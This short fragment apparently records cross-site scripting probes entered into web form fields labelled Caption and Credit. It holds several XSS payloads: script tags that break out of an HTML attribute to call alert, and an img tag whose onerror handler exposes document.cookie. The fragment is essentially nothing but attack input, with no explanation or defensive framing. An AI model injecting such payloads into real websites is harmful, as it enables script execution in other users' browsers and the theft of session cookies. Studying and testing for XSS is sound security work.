"><script>alert('h')</script>

"><script>alert('h')</script>'

Caption: "><img src="x" onerror="prompt(document.cookie)"></img>

Credit: ">